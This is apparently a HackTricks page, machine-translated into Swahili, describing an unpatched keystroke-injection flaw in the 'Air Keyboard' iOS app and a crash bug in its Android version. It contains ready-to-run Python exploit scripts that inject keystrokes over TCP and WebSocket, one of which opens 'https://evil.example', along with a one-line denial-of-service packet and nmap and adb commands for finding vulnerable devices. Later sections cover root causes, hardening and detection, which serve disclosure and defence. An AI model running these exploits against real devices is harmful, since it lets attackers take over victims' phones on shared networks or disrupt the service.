Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
TL;DR
Toleo la iOS la programu ya kibiashara βAir Keyboardβ (App Store ID 6463187929) linaonyesha huduma ya mtandao wa ndani ambayo inapokea fremu za funguo bila uthibitisho wowote au uthibitisho wa chanzo. Kulingana na toleo lililowekwa huduma hiyo ni:
- β€ 1.0.4 β msikilizaji wa TCP wa kawaida kwenye bandari 8888 inayotarajia kichwa cha urefu wa byte 2 kinachofuatiwa na device-id na mzigo wa ASCII.
- β₯ 1.0.5 (Juni 2025) β msikilizaji wa WebSocket kwenye bandari hiyo hiyo (8888) inayochambua funguo za JSON kama
{"type":1,"text":"β¦"}
.
Kila kifaa kwenye Wi-Fi / subnet hiyo hiyo kinaweza hivyo kuingiza pembejeo za kibodi zisizo na mipaka kwenye simu ya mwathirika, kufikia uharibu wa mwingiliano wa mbali. Toleo la Android linafanya kazi kwenye bandari 55535. Linafanya mkono dhaifu wa AES-ECB lakini takataka iliyoundwa bado inasababisha kosa lisiloshughulikiwa ndani ya OpenSSL, ikisababisha huduma ya nyuma kuanguka (DoS).
Uthibitisho huu ni bado haujarekebishwa wakati wa kuandika (Julai 2025) na programu hiyo inapatikana bado kwenye Duka la Programu.
1. Service Discovery
Scan mtandao wa ndani na utafute bandari mbili zilizowekwa zinazotumiwa na programu:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Katika simu za Android unaweza kubaini kifurushi kinachohusika kwa ndani:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID β package name
Katika iOS iliyovunjwa unaweza kufanya kitu kama hicho na lsof -i -nP | grep LISTEN | grep 8888
.
2. Maelezo ya Protokali (iOS)
2.1 Urithi (β€ 1.0.4) β fremu za binary za kawaida
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Ilani ya urefu inajumuisha byte ya device_id
lakini sio kichwa cha byte mbili yenyewe.
2.2 Sasa (β₯ 1.0.5) β JSON kupitia WebSocket
Toleo 1.0.5 lilihamishwa kimya kimya kwenda WebSockets huku likihifadhi nambari ya bandari bila kubadilisha. Kichocheo kidogo kinaonekana kama:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Hakuna mkono wa mkono, token au saini inayohitajika - kitu cha kwanza cha JSON tayari kinachochea tukio la UI.
3. Utekelezaji PoC
3.1 Kulenga β€ 1.0.4 (raw TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard β€ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Kulenga β₯ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard β₯ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
ASCII yoyote inayoweza kuchapishwa β ikiwa ni pamoja na mistari ya kuhamasisha, tabo na funguo nyingi maalum β inaweza kutumwa, ikimpa mshambuliaji nguvu sawa na ingizo la mtumiaji wa kimwili: kuzindua programu, kutuma IMs, kufungua URL za uharibifu, kubadilisha mipangilio, n.k.
4. Android Companion β Kukatiza Huduma
Bandari ya Android (55535) inatarajia nenosiri la herufi 4 lililofichwa kwa kutumia funguo za AES-128-ECB zilizowekwa kwa ngumu ikifuatiwa na nonce ya nasibu. Makosa ya uchambuzi yanapanda hadi AES_decrypt()
na hayakamatwi, yakimaliza nyuzi za msikilizaji. Paket moja iliyo na makosa inatosha kuwafanya watumiaji halali kukatwa hadi mchakato urudishwe.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Programu Zinazohusiana β Mfano wa Mara kwa Mara wa Kupinga
Air Keyboard si kesi ya pekee. Programu nyingine za simu za βremote keyboard/mouseβ zimekuja na kasoro hiyo hiyo:
- Telepad β€ 1.0.7 β CVE-2022-45477/78 inaruhusu utekelezaji wa amri zisizo na uthibitisho na uandishi wa funguo za maandiko wazi.
- PC Keyboard β€ 30 β CVE-2022-45479/80 RCE isiyo na uthibitisho & ufuatiliaji wa trafiki.
- Lazy Mouse β€ 2.0.1 β CVE-2022-45481/82/83 hakuna-siri ya chaguo-msingi, PIN dhaifu ya nguvu na uvujaji wa maandiko wazi.
Mifano hii inaonyesha kutokujali kwa mfumo wa uso wa mashambulizi yanayoelekezwa kwenye mitandao kwenye programu za simu.
6. Sababu za Msingi
- Hakuna ukaguzi wa asili / uaminifu kwenye fremu zinazokuja (iOS).
- Matumizi mabaya ya cryptographic (funguo ya kudumu, ECB, ukosefu wa uthibitisho wa urefu) na ukosefu wa usimamizi wa makosa (Android).
- Haki ya Mtumiaji ya Mtandao wa Mitaa β usalama β iOS inahitaji idhini ya wakati wa kukimbia kwa trafiki ya LAN, lakini haitabadilisha uthibitisho sahihi.
7. Kuimarisha & Hatua za Ulinzi
Mapendekezo ya waendelezaji:
- Fungamanisha msikilizaji kwenye
127.0.0.1
na tunnel kupitia mTLS au Noise XX ikiwa udhibiti wa mbali unahitajika. - Pata siri za kifaa-kila wakati wa kuanzisha (mfano, QR code au PIN ya Kuunganisha) na kulazimisha uthibitisho wa pamoja kabla ya kushughulikia ingizo.
- Adopt Apple Network Framework na NWListener + TLS badala ya soketi za kawaida.
- Tekeleza ukaguzi wa urefu wa prefix na usimamizi wa makosa ulio na muundo wakati wa kufungua au kufasiri fremu.
Mafanikio ya haraka ya Blue-/Red-Team:
- Uwindaji wa Mtandao:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
au chujio la Wiresharktcp.port == 8888
. - Ukaguzi wa Wakati wa Kukimbia: Skripti ya Frida inashikilia
socket()
/NWConnection
ili orodhesha wasikilizaji wasiotarajiwa. - Ripoti ya Faragha ya Programu ya iOS (Mipangilio βΈ Faragha & Usalama βΈ Ripoti ya Faragha ya Programu) inaonyesha programu zinazowasiliana na anwani za LAN β muhimu kwa kugundua huduma za uasi.
- Mobile EDRs zinaweza kuongeza sheria rahisi za Yara-L kwa funguo za JSON
"selectionStart"
,"selectionEnd"
ndani ya mzigo wa TCP wa maandiko wazi kwenye bandari 8888.
Karatasi ya Udhibiti (Pentesters)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p β \"; cat /proc/$p/cmdline; done"
Marejeo
- Exploit-DB 52333 β Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17 Jul 2025) β Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.